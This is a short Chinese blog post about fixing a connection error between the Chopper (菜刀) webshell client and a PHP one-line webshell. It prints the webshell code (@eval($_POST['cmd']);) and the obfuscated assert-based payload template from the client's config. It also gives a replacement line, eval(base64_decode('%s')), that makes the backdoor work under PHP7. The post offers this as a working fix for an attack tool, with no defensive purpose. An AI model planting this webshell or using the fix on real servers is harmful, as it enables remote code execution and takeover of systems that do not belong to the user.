菜刀连接PHP WebShell返回200错误

错误详情

WebShell内容:


    @eval($_POST['cmd']);
?>

错误详情:

菜刀连接PHP WebShell返回200错误_第1张图片

在Hackber或BurpSuite中却没有问题:

菜刀连接PHP WebShell返回200错误_第2张图片

原因分析

PHP7版本过高,在PHP7中,动态调用一些函数是被禁止的,比如在array_map中调用assert会提示:Warning: Cannot call func_num_args() dynamically in %s on line %d

如果把一句话Shell中的@符号去掉,会提示:Cannot call assert() with string argument dynamically in ...shell.php(1) : eval()'d code on line 1

解决方案

在菜刀的配置文件中(caidao.conf)找到:array_map("ass"."ert",array("ev"."Al(\"\\\$xx%%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('%s'));\");"));

修改为:eval(base64_decode('%s'));

refer

菜刀连接php一句话木马返回200的原因及解决方法:http://shuiboye.blogspot.com/2018/01/php200.html

你可能感兴趣的:(安全工具,shell,安全漏洞)